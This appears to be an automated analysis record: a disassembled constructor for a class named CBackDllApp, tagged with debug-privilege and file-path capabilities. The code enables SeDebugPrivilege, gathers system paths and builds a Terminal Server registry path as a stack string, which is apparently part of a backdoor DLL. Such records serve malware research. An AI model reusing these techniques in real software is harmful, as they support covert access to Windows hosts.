Function at 0x140010fe0
Capabilities:
Acquire debug privileges
Get common file path

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r12
push r13
sub rsp, 0x40
mov rax, qword [0x14014dd80]
xor rax, rsp
mov qword [rsp + 0x30], rax
lea rax, vtable.CBackDllApp.0
xor edx, edx
mov rbx, rcx
mov qword [rcx], rax
mov dword [0x14014f448], 0
mov dword [rcx + 0xac], 0
lea rcx, [0x140150460]
lea r8d, [rdx + 0x50]
call fcn.1400167a0
lea rcx, [rbx + 0xc80]
xor edx, edx
mov r8d, 0x104
call fcn.1400167a0
xor edx, edx
lea rcx, [rbx + 0xc0]
lea r8d, [rdx + 0x60]
call fcn.1400167a0
xor edx, edx
lea rcx, [rbx + 0x120]
lea r8d, [rdx + 0x78]
call fcn.1400167a0
lea rcx, [rbx + 0x198]
xor edx, edx
mov r8d, 0x184
call fcn.1400167a0
lea rcx, [rbx + 0x33c]
xor edx, edx
mov r8d, 0x104
call fcn.1400167a0
lea rcx, [rbx + 0x440]
xor edx, edx
mov r8d, 0x104
call fcn.1400167a0
lea rcx, [rbx + 0x544]
xor edx, edx
mov r8d, 0x104
call fcn.1400167a0
lea rcx, [rbx + 0x648]
xor edx, edx
mov r8d, 0x104
call fcn.1400167a0
lea rcx, [rbx + 0xa78]
xor edx, edx
mov r8d, 0x104
call fcn.1400167a0
lea rcx, [rbx + 0xb7c]
xor edx, edx
mov r8d, 0x104
call fcn.1400167a0
movzx edx, word [0x1400bd9bc]
movzx eax, word [reloc.WS2_32.dll_socket]
movzx r9d, word [reloc.WS2_32.dll_closesocket]
movzx r8d, word [reloc.WS2_32.dll_socket]
mov dword [rsp + 0x28], edx
lea rdx, str._u._u._u._u
lea rcx, [rbx + 0x31c]
mov dword [rsp + 0x20], eax
call fcn.140016e00
call fcn.140012700
lea rcx, str.SeDebugPrivilege
call fcn.140009790
lea rdx, [rbx + 0x648]
mov ecx, 0x103
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
test eax, eax
jne 0x140011186
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
je 0x140011186
mov dword [rbx + 0x648], 0x575c3a43
mov dword [rbx + 0x64c], 0x6f646e69
mov dword [rbx + 0x650], 0x5c7377
or rcx, 0xffffffffffffffff
xor eax, eax
lea rdi, [rbx + 0x648]
repne scasb al, byte [rdi]
not rcx
dec rcx
test ecx, ecx
je 0x1400111c6
lea eax, [rcx - 1]
cmp byte [rax + rbx + 0x648], 0x5c
je 0x1400111c6
xor eax, eax
lea rdi, [rbx + 0x648]
or rcx, 0xffffffffffffffff
repne scasb al, byte [rdi]
movzx eax, word [0x140025640]
mov word [rdi - 1], ax
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, eax
call fcn.1400170d0
xor eax, eax
mov qword [rbx + 0x74c], rax
mov qword [rbx + 0x754], rax
mov qword [rbx + 0x75c], rax
mov qword [rbx + 0x764], rax
call fcn.1400056e0
xor ecx, ecx
mov dword [rbx + 0xa4], eax
call fcn.1400055e0
mov ecx, 1
mov dword [rbx + 0xa8], eax
call fcn.140015640
lea rcx, [rbx + 8]
mov dword [rbx + 0xac], eax
mov dword [rbx + 8], 0x9c
call qword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
jne 0x140011249
lea rcx, [rbx + 8]
mov dword [rbx + 8], 0x94
call qword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
jne 0x140011249
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea r8, [rbx + 0x14]
lea rdx, [rbx + 0x10]
lea rcx, [rbx + 0xc]
call fcn.140007f10
lea rcx, [rbx + 0x76c]
xor edx, edx
mov r8d, 0x104
call fcn.1400167a0
lea rdx, [rbx + 0x76c]
mov r8d, 0x103
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rcx, [rbx + 0x76c]
mov edx, 0x5c
call fcn.140017b30
test rax, rax
je 0x14001129c
mov byte [rax], 0
lea rcx, [rbx + 0x440]
xor edx, edx
mov r8d, 0x104
call fcn.1400167a0
lea rcx, [rbx + 0x440]
mov edx, 0x103
call qword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
or rcx, 0xffffffffffffffff
xor eax, eax
lea rdi, [rbx + 0x440]
repne scasb al, byte [rdi]
not rcx
dec rcx
test ecx, ecx
je 0x1400112f0
lea eax, [rcx - 1]
cmp byte [rax + rbx + 0x440], 0x5c
jne 0x1400112f0
mov byte [rax + rbx + 0x440], 0
lea rcx, [rbx + 0x544]
xor edx, edx
mov r8d, 0x104
call fcn.1400167a0
lea rcx, [rbx + 0x544]
mov edx, 0x103
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea rdx, [rbx + 0x870]
xor r9d, r9d
mov r8d, 0x104
mov rcx, rbx
mov dword [rsp + 0x20], 0
call fcn.14000fb70
mov eax, dword [0x1400274e4]
lea rdi, [rbx + 0x974]
mov dword [rdi], eax
movzx eax, byte [0x1400274e8]
or rcx, 0xffffffffffffffff
mov byte [rdi + 4], al
xor eax, eax
repne scasb al, byte [rdi]
xor ecx, ecx
nop dword [rax]
movzx eax, byte [rbx + rcx + 0x870]
inc rcx
mov byte [rdi + rcx - 2], al
test al, al
jne 0x140011360
mov byte [rbx + 0x378], al
mov dword [rbx + 0x33c], 0x54535953
mov dword [rbx + 0x340], 0x435c4d45
mov rax, rbx
mov dword [rbx + 0x344], 0x65727275
mov dword [rbx + 0x348], 0x6f43746e
mov dword [rbx + 0x34c], 0x6f72746e
mov dword [rbx + 0x350], 0x7465536c
mov dword [rbx + 0x354], 0x6e6f435c
mov dword [rbx + 0x358], 0x6c6f7274
mov dword [rbx + 0x35c], 0x7265545c
mov dword [rbx + 0x360], 0x616e696d
mov dword [rbx + 0x364], 0x6553206c
mov dword [rbx + 0x368], 0x72657672
mov dword [rbx + 0x36c], 0x6e69575c
mov dword [rbx + 0x370], 0x74617453
mov dword [rbx + 0x374], 0x736e6f69
mov rcx, qword [rsp + 0x30]
xor rcx, rsp
call fcn.1400168a0
mov rbx, qword [rsp + 0x68]
mov rbp, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
add rsp, 0x40
pop r13
pop r12
pop rdi
ret